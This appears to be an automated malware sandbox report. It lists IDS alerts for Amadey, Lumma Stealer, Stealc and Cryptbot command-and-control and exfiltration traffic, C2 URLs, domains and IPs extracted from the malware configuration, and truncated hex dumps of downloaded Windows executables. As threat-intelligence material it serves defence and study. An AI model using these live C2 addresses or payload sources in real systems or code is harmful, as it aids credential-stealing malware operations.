Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49943 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.4:49949 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.4:49961 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.4:49972 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.4:49978 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.4:49989 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.4:50005 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49999 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50006 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:63743 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:59785 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:53738 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057121 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store) : 192.168.2.4:53649 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.4:57859 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.4:50026 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.4:50029 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50034 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.4:50041 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.4:50051 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.4:50052 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:51188 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.4:50054 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.4:50055 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50056 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.4:50057 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50058 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:56577 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:55619 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:59258 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.4:50060 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:49523 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.4:55271 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057121 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store) : 192.168.2.4:51806 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.4:50062 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50063 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:50064 -> 185.228.235.50:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50077 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:50076 -> 185.228.235.50:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:50065 -> 185.228.235.50:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49949 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49949 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50005 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50041 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50026 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50029 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50029 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50041 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50051 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50062 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50062 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50060 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49961 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49961 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	IPs: 185.215.113.43
Source: Malware configuration extractor	URLs: QUERY\|rd\|AAAA\|IN\|home.fvteja5sb.top
Source: Malware configuration extractor	URLs: 0/80/home.fvteja5sb.top
Source: Malware configuration extractor	URLs: home.fvteja5sb.top
Source: Malware configuration extractor	URLs: fvteja5sb.top
Source: Malware configuration extractor	URLs: QUERY\|rd\|A\|IN\|home.fvteja5sb.top

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 10 Nov 2024 18:44:03 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 10 Nov 2024 18:44:17 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 10 Nov 2024 18:44:19 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 10 Nov 2024 18:44:20 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 10 Nov 2024 18:44:20 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 